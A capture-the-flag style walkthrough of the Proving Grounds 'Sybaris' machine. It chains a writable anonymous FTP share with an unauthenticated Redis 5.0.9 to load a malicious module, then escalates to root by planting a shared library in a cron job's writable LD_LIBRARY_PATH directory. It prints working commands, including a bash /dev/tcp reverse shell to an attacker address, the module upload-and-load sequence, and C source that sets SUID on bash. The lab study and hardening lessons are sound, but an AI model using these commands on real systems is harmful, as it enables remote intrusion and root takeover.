the_open_door
coffee
ESEN

Sybaris

Proving Grounds PracticeMediumLinux192.168.197.93

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#redis#redis-module#ftp#anonymous-ftp#rce#htmly#cronjob#ld-library-path#shared-library#suid#gtfobins#oscp
TL;DR. Sybaris pairs two misconfigured services: a writable anonymous FTP and an unauthenticated Redis 5.0.9. We upload a malicious module over FTP and load it with MODULE LOAD (Redis RCE via modules), which gives a system.exec command and a reverse shell as pablo. To escalate, /etc/crontab runs a binary as root with an LD_LIBRARY_PATH pointing to a writable directory: we drop a library there with a constructor that sets the SUID bit on bash (LD_LIBRARY_PATH hijacking) and open a root shell.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We sweep the TCP ports:

ping -c 1 192.168.197.93
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.197.93
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
nmap -p21,22,80,6379 -sCV 192.168.197.93 -oN targetedScan
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
6379/tcp open  redis   Redis key-value store 5.0.9

Four services: an FTP that allows anonymous login, SSH, an HTMLy v2.7.5 blog on CentOS, and an open Redis 5.0.9. The anonymous-FTP + unauthenticated-Redis combination is the one worth looking at first: if the FTP allows writes, we have somewhere to drop a file that Redis can load.

FTP - TCP 21

We log in as anonymous and, besides listing pub/, check whether we can upload files:

ftp 192.168.197.93
# Name: anonymous  /  Password: (empty)
cd pub
put test
230 Login successful.
...
ftp> put test
150 Ok to send data.
226 Transfer complete.
5 bytes sent in 00:00 (0.08 KiB/s)

The put works: the FTP allows anonymous writes to pub/ (anonymous FTP). We still need to know which filesystem path that pub/ maps to. A quick search confirms anonymous FTP on Linux uses /var/ftp (or /var/www/html) as its root:

Search "where is default ftp directory": anonymous FTP on Linux uses /var/ftp or /var/www/html

And specifically, in vsftpd the public folder is /var/ftp/pub:

Search "/var/ftp/pub": the standard anonymous-FTP public folder in vsftpd

So whatever we upload to pub/ lands in /var/ftp/pub/ on disk, a fact we'll use as soon as we know how to load something from Redis.

Redis - TCP 6379

Redis answers without asking for credentials. We confirm version and mode:

redis-cli -h 192.168.197.93
192.168.197.93:6379> INFO server
redis_version:5.0.9
redis_mode:standalone
os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64

An unauthenticated Redis is directly exploitable (Redis enumeration). Of the possible paths (writing an SSH key or a webshell with CONFIG SET dir, replication abuse, module loading), the module one fits perfectly here: we already have somewhere to drop the .so (the anonymous FTP). The technique is documented in HackTricks (compile a module, upload it, MODULE LOAD, system.exec):

HackTricks: Load Redis Module (compile a module, MODULE LOAD, system.exec id/whoami)

Shell as pablo

Redis MODULE LOAD via anonymous FTP

The technique: compile a Redis module that registers a command to run orders, upload it over FTP and load it with MODULE LOAD. Searching for MODULE LOAD leads to an exploit that already ships the compiled module:

Search "redis MODULE LOAD": the jas502n/Redis-RCE repo (RCE for redis4 and redis5)

We use the exp_lin.so from the Redis-RCE exploit (a module prebuilt for the 5.x line). We upload it to the FTP's pub/, which on disk is /var/ftp/pub/:

git clone https://github.com/jas502n/Redis-RCE
ftp 192.168.197.93
# anonymous
cd pub
put exp_lin.so

With the .so on the target, we load it from Redis and try the system.exec command it registers (Redis RCE via modules):

redis-cli -h 192.168.197.93
MODULE LOAD /var/ftp/pub/exp_lin.so
system.exec "id"

MODULE LOAD of the FTP-uploaded module and system.exec id returning uid=1000(pablo) on Sybaris

192.168.197.93:6379> MODULE LOAD /var/ftp/pub/exp_lin.so
OK
192.168.197.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"

Before triggering the shell, we set Penelope listening on 80:

penelope 80

We have execution as pablo (the Redis process user). We fire a reverse shell back to our listener:

system.exec "bash -i >& /dev/tcp/192.168.45.196/80 0>&1"

Reverse shell received from sybaris (192.168.197.93) as pablo, upgraded to PTY

(Penelope)> listeners add -p 80
[+] Got reverse shell from sybaris~192.168.197.93-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
[pablo@sybaris /]$ whoami
pablo

We stabilize the shell to a PTY and read the first proof:

cat /home/pablo/local.txt && whoami && ip a && hostname

local.txt read as pablo on sybaris, with IP 192.168.197.93

9318a53cbcf57f8787dd754992ceae50

Privilege escalation

Root cron with a writable LD_LIBRARY_PATH

Reviewing the scheduled tasks, /etc/crontab stands out: it defines its own LD_LIBRARY_PATH and runs the binary /usr/bin/log-sweeper as root:

cat /etc/crontab
/usr/bin/log-sweeper

/etc/crontab with LD_LIBRARY_PATH including /usr/local/lib/dev and the root cron /usr/bin/log-sweeper, which fails on a missing utils.so

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
*  *  *  *  * root  /usr/bin/log-sweeper

$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directory

Two details line up: the binary needs a utils.so library that doesn't exist, and the LD_LIBRARY_PATH includes /usr/local/lib/dev, a directory our user can write to. linpeas (repo) flags the same thing:

linpeas highlighting the writable /usr/local/lib/dev directory inside the cron's LD_LIBRARY_PATH

Since the linker looks for utils.so by walking LD_LIBRARY_PATH and that directory wins, we just drop our utils.so there (LD_LIBRARY_PATH hijacking). We compile it with a constructor the linker runs when the library is loaded; the payload sets the SUID bit on bash:

cat utils.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("chmod u+s /bin/bash");
}
gcc -shared -o utils.so -fPIC utils.c
mv utils.so /usr/local/lib/dev/

When the root cron runs log-sweeper again, the linker loads our utils.so, runs the constructor as root and applies the SUID. We confirm it:

ls -l /bin/bash
-rwsr-xr-x. 1 root root 964536 Mar 31  2020 /bin/bash

/bin/bash is now SUID root. With -p the shell keeps euid=0 (SUID abuse):

bash -p
whoami

bash -p and whoami returning root on sybaris

[pablo@sybaris tmp]$ bash -p
bash-4.2# whoami
root

We read the final proof:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on sybaris

f5cd59c2f5baa97e3205ca1b3b811409

Attack chain

Anonymous FTP (21, writable)  +  unauthenticated Redis 5.0.9 (6379)
        │  put exp_lin.so  ->  /var/ftp/pub/exp_lin.so
        │  MODULE LOAD /var/ftp/pub/exp_lin.so  ->  system.exec
        ▼
shell as pablo  (reverse shell, local.txt)
        │  root cron: LD_LIBRARY_PATH -> /usr/local/lib/dev (writable)
        │  malicious utils.so (constructor) -> chmod u+s /bin/bash
        ▼
shell as root  (bash -p, proof.txt)

Lessons learned

  • Two weak services amplify each other. A writable anonymous FTP gives no RCE on its own, and an open Redis won't load a module that isn't on disk; together they close the chain: the FTP puts the .so where Redis loads it.
  • Unauthenticated Redis is code execution. MODULE LOAD loads arbitrary libraries that register commands like system.exec. Binding to 127.0.0.1, requiring requirepass/ACLs and disabling MODULE/CONFIG closes it.
  • LD_LIBRARY_PATH in a root cron is a gift. The linker consults that variable before the system paths; if it includes a writable directory, you control which library the privileged process loads. Never set LD_LIBRARY_PATH in root jobs pointing at user paths.
  • A library constructor runs before main. __attribute__((constructor)) executes when the .so is loaded, so the binary doesn't even need to use the function: loading it is enough.
Command cheatsheet 14 commands

Quick review